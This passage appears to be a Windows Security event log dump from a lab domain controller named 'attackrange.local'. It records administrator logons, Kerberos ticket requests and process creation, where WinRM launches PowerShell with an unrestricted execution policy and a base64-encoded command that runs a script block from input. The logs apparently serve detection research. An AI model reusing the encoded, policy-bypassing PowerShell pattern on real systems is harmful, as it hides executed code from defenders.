	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253475
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1B513B

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253474
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1B513B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{88A268E1-BBD5-835D-2CDA-EFB4924AE83B}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253473
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{88A268E1-BBD5-835D-2CDA-EFB4924AE83B}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253472
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{88A268E1-BBD5-835D-2CDA-EFB4924AE83B}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253471
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253470
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1B46FA

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x101c
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x117c
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253469
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1B46FA

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x117c
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xff4
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253468
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1B4CC8

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253467
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1B4CC8
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{88A268E1-BBD5-835D-2CDA-EFB4924AE83B}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253466
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{88A268E1-BBD5-835D-2CDA-EFB4924AE83B}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253465
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{88A268E1-BBD5-835D-2CDA-EFB4924AE83B}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253464
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253545
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1BABE4

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253544
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1BABE4
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B812AC57-6FC2-4607-7B57-BEA483B003FB}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253543
Keywords=Audit Success
